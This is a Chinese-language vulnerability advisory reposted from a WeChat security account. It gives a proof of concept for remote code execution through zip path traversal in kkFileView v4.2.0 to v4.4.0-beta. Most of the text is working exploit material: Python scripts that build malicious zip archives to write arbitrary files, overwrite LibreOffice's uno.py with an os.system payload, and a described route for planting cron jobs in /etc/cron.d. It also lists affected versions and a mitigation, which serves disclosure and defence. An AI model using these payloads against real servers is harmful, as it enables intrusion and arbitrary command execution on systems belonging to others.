kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)
影响版本
v4.2.0~v4.4.0-beta
v4.2.0~v4.4.0-beta
https://github.com/kekingcn/kkFileView/releases/tag/v4.4.0-beta
此版本为官方源代码最新版
环境部署
本地源码启动或者docker部署
任意文件上传
import zipfile
if __name__ == "__main__":
try:
binary1 = b'1ueeeeee'
binary2 = b'hacked_by_1ue'
zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("hack.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
zipFile.close()
except IOError as e:
raise e
制作恶意hack.zip
,注意里面必须有一个正常文件,例如test
,便于创建hack.zip_
缓存文件
上传文件并预览
发现成功穿越
RCE
可以任意文件上传,并且可以追加文件内容
经过我研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容
import zipfile
if __name__ == "__main__":
try:
binary1 = b'1ue'
binary2 = b'import osrnos.system('touch /tmp/hack_by_1ue')'
zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("hack.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
制作恶意的zip包 上传并预览
再随便上传一个odt文件,另其发起libreoffice任务 上传并预览
可以看到命令成功被执行
uno.py中也确实被写入了内容
增加利用方式
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行。在Linux系统中,当我们需要在服务器上定时执行一些重复性的事件时使用的,可以通过Linux计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令,在某个特定的时间运行。
利用/etc/cron.d/xxx.txt定时任务计划,最后上传的时候需要把r去掉,留个n ,才能触发定时任务写入。
补充一下影响版本,v4.2.1 和 v4.2.0 都是影响的
https://github.com/kekingcn/kkFileView/blob/v4.2.1/server/src/main/java/cn/keking/service/CompressFileReader.java#L55
https://github.com/kekingcn/kkFileView/blob/v4.2.0/server/src/main/java/cn/keking/service/CompressFileReader.java#L55
4.1.0 就不影响了
https://github.com/kekingcn/kkFileView/blob/v4.1.0/server/src/main/java/cn/keking/service/CompressFileReader.java#L145
之前打攻防审过这个组件,不过那会正值4.1.0版本,4.2.0 版本后,反而不是获取文件名还会把路径给加进去了
临时规避方案
存量受影响的版本建议开启 file.upload.disable=true 参数,禁用首页的上传文件,关闭演示入口来规避问题
参考文章
https://mp.weixin.qq.com/s/FKeboFp4NsnUI66N0QlJ8g
原文始发于微信公众号(利刃信安):【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论